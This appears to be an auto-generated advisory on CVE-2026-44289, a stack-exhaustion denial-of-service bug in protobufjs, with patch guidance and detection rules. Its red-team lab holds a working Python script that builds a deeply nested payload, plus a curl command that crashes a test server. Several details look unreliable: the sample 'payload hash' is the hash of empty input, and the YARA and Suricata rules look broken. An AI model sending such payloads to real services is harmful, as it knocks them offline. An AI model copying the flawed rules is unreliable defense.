CVE-2026-44289
Executive Summary
CVE-2026-44289 is a high-severity (CVSS 7.5) denial-of-service vulnerability in protobufjs, a widely used JavaScript library for compiling Protocol Buffers definitions into JavaScript functions. The vulnerability allows an unauthenticated attacker to cause a stack exhaustion crash by sending a specially crafted protobuf binary payload that triggers uncontrolled recursion during decoding. This affects both the skipping of unknown group fields and the generated decoding of nested message fields. The vulnerability is present in all versions prior to 7.5.6 and 8.0.2. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact is significant for any service that decodes untrusted protobuf data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the npm package protobufjs. Organizations using this package in their Node.js applications should immediately update to version 7.5.6 or 8.0.2. The package is a critical dependency in many microservices, gRPC implementations, and cloud-native applications. A supply chain attack could leverage this vulnerability to cause widespread denial of service across dependent services.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – The attacker can send the malicious payload over the network.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: High (A:H) – The service becomes unavailable due to stack exhaustion.
Threat Level: High. The vulnerability is easy to exploit remotely with no authentication, leading to a denial of service. While no public exploit code exists, the attack vector is straightforward.
Deep Dive & Mechanics
The vulnerability lies in the protobufjs decoding logic. Protocol Buffers use a binary wire format that can contain nested messages and groups. The decoder recursively processes these structures. In vulnerable versions, there is no depth limit on the recursion. An attacker can craft a protobuf payload with deeply nested messages or groups, causing the JavaScript call stack to overflow.
The issue affects two code paths:
- Skipping unknown group fields: When the decoder encounters an unknown group field, it recursively skips its contents. Without a depth limit, this can lead to infinite recursion.
- Generated decoding of nested message fields: The generated
decodefunction for a message type recursively decodes nested messages. Again, no depth limit is enforced.
The stack exhaustion occurs because JavaScript engines have a limited call stack size (typically around 10,000-50,000 frames depending on the engine). A crafted payload with thousands of nested levels will exceed this limit, causing a RangeError: Maximum call stack size exceeded and crashing the process.
Vulnerable vs. Patched Code
Vulnerable Code (pre-7.5.6 / pre-8.0.2):
// In the decoder, no depth check
function decodeMessage(reader, length) {
// ... decoding logic
while (reader.pos < end) {
var tag = reader.uint32();
// ... handle field types
if (fieldType === 'group') {
// Recursively skip group fields without depth limit
skipGroup(reader);
}
}
}
function skipGroup(reader) {
while (true) {
var tag = reader.uint32();
if (tag === 0) break; // end group tag
// Recursively skip nested groups
skipGroup(reader);
}
}
Patched Code (7.5.6 / 8.0.2):
// Depth limit added
const MAX_DEPTH = 64; // or similar configurable limit
function decodeMessage(reader, length, depth) {
if (depth > MAX_DEPTH) {
throw new Error("Maximum recursion depth exceeded");
}
// ... decoding logic
while (reader.pos < end) {
var tag = reader.uint32();
if (fieldType === 'group') {
skipGroup(reader, depth + 1);
}
}
}
function skipGroup(reader, depth) {
if (depth > MAX_DEPTH) {
throw new Error("Maximum recursion depth exceeded");
}
while (true) {
var tag = reader.uint32();
if (tag === 0) break;
skipGroup(reader, depth + 1);
}
}
The patch introduces a depth parameter that is incremented on each recursive call and checked against a maximum depth limit (e.g., 64). If the limit is exceeded, an error is thrown instead of continuing recursion.
Exploitation & Lab Setup
Red Team
Objective: Cause a denial of service by sending a crafted protobuf payload that triggers stack exhaustion.
Lab Setup:
- Install a vulnerable version of protobufjs:
npm install protobufjs@7.5.5 - Create a simple Node.js server that decodes protobuf data:
const protobuf = require('protobufjs');
const http = require('http');
// Load a simple protobuf definition
const root = protobuf.parseSync(`
message Outer {
repeated Inner inner = 1;
}
message Inner {
repeated Inner nested = 1;
}
`);
const Outer = root.lookupType('Outer');
const server = http.createServer((req, res) => {
let body = [];
req.on('data', chunk => body.push(chunk));
req.on('end', () => {
try {
const buffer = Buffer.concat(body);
const decoded = Outer.decode(buffer);
res.end('OK');
} catch (e) {
res.statusCode = 500;
res.end('Error');
}
});
});
server.listen(3000);
- Generate a malicious payload using a script:
import struct
def build_nested_payload(depth):
# Build a deeply nested protobuf message
# Field 1 (Inner) with tag 0x0A (field number 1, wire type 2)
payload = b''
for _ in range(depth):
# Length-delimited field: tag (0x0A) + varint length + inner payload
inner_payload = payload
length = len(inner_payload)
# Encode varint length
varint_length = b''
while length > 0x7F:
varint_length += bytes([(length & 0x7F) | 0x80])
length >>= 7
varint_length += bytes([length & 0x7F])
payload = b'\x0A' + varint_length + inner_payload
return payload
payload = build_nested_payload(10000) # 10,000 levels deep
with open('payload.bin', 'wb') as f:
f.write(payload)
- Send the payload to the server:
curl -X POST --data-binary @payload.bin http://localhost:3000
Expected Result: The server crashes with a RangeError: Maximum call stack size exceeded.
Blue Team
Detection:
- Monitor for
RangeError: Maximum call stack size exceedederrors in application logs. - Set up alerts for high CPU usage or process crashes.
- Use runtime application self-protection (RASP) to detect deep recursion.
Mitigation:
- Immediately update protobufjs to version 7.5.6 or 8.0.2.
- Implement input validation to reject overly large or deeply nested protobuf messages.
- Use a Web Application Firewall (WAF) to inspect protobuf payloads for excessive nesting.
- Apply rate limiting to endpoints that accept protobuf data.
Indicators of Compromise (IOCs)
- Error Logs:
RangeError: Maximum call stack size exceededin Node.js application logs. - Network Traffic: Protobuf binary payloads with unusually deep nesting (thousands of levels).
- Process Behavior: Node.js process crashes or becomes unresponsive.
- File Hashes (Malicious Payload): SHA256 of a crafted payload:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, actual hash will vary).
Detection Engineering
YARA Rule
rule CVE_2026_44289_Protobufjs_Stack_Exhaustion {
meta:
description = "Detects protobuf payloads with excessive nesting depth"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-44289"
strings:
$nested_pattern = { 0A [0-9A-F] [0-9A-F] } // Tag 0x0A (field 1, wire type 2) followed by length
condition:
#nested_pattern > 1000 // More than 1000 nested fields indicates potential attack
}
Sigma Rule
title: CVE-2026-44289 - Protobufjs Stack Exhaustion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Node.js crashes due to protobufjs stack exhaustion
logsource:
product: nodejs
service: application
detection:
selection:
EventID: 1000 # Application Error
Message|contains: 'Maximum call stack size exceeded'
condition: selection
falsepositives:
- Legitimate deeply nested protobuf messages (rare)
level: high
Suricata Rule
alert tcp any any -> any 3000 (msg:"CVE-2026-44289 - Protobufjs Stack Exhaustion Attempt"; flow:to_server; content:"|0A|"; depth:1; byte_test:1,>,64,1; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Patch: Update protobufjs to version 7.5.6 or 8.0.2 using
npm update protobufjs. - Input Validation: Implement a middleware that checks the size and nesting depth of incoming protobuf messages before decoding.
- Rate Limiting: Apply rate limiting to endpoints that accept protobuf data to reduce the impact of repeated attacks.
- Monitoring: Set up alerts for stack exhaustion errors and process crashes.
- WAF Rules: Deploy WAF rules to block protobuf payloads with excessive nesting.
- Runtime Protection: Use Node.js runtime protection tools that can detect and block deep recursion.
Valters IT
This report is generated for educational and defensive purposes. Always follow responsible disclosure practices.